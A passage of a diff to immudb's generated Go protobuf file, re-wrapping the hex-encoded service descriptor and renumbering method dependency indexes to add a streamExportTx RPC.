0x2a, 0x12, 0x5b, 0x0a, - 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, + 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, + 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, + 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, + 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, - 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, - 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, - 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, - 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, + 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, + 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, - 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, - 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, - 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, - 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, - 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, - 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, - 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, - 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, - 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, - 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, - 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, - 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, - 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, - 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, - 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, - 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, - 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, - 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, - 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, - 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, - 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, - 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, - 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, - 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, - 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, - 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, - 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, + 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, + 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, + 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, + 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, + 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, + 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, + 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, + 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, + 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, + 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, + 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, + 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, + 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, + 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, + 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, + 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, + 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, + 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10594,85 +10599,87 @@ var file_schema_proto_depIdxs = []int32{ 106, // 206: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk 65, // 207: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest 106, // 208: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 108, // 209: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 109, // 210: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 134, // 211: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 94, // 212: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 96, // 213: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 122, // 214: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest - 6, // 215: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 134, // 216: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 134, // 217: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 134, // 218: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 134, // 219: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 134, // 220: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 134, // 221: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 222: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 134, // 223: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 134, // 224: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 118, // 225: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 112, // 226: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 134, // 227: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 134, // 228: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 113, // 229: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 230: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 134, // 231: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 232: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 38, // 233: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 234: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 39, // 235: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 236: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 237: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 238: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 239: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 240: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 241: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 34, // 242: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 38, // 243: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 64, // 244: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 245: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 48, // 246: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 49, // 247: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 50, // 248: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 51, // 249: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 250: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 38, // 251: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 252: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 38, // 253: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 254: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 134, // 255: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 134, // 256: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 70, // 257: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 87, // 258: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 89, // 259: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 91, // 260: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 102, // 261: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 104, // 262: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 99, // 263: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 134, // 264: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 72, // 265: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 68, // 266: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 74, // 267: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 93, // 268: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 134, // 269: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 106, // 270: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 271: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 106, // 272: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 38, // 273: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 106, // 274: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 106, // 275: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 106, // 276: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 277: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 106, // 278: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 279: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 111, // 280: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 113, // 281: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 113, // 282: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 113, // 283: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 98, // 284: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 123, // 285: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse - 215, // [215:286] is the sub-list for method output_type - 144, // [144:215] is the sub-list for method input_type + 65, // 209: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest + 108, // 210: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 109, // 211: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 134, // 212: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 94, // 213: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 96, // 214: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 122, // 215: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest + 6, // 216: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 134, // 217: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 134, // 218: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 134, // 219: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 134, // 220: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 134, // 221: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 134, // 222: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 223: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 134, // 224: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 134, // 225: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 118, // 226: immudb.schema.ImmuService.NewTx:output_type -> 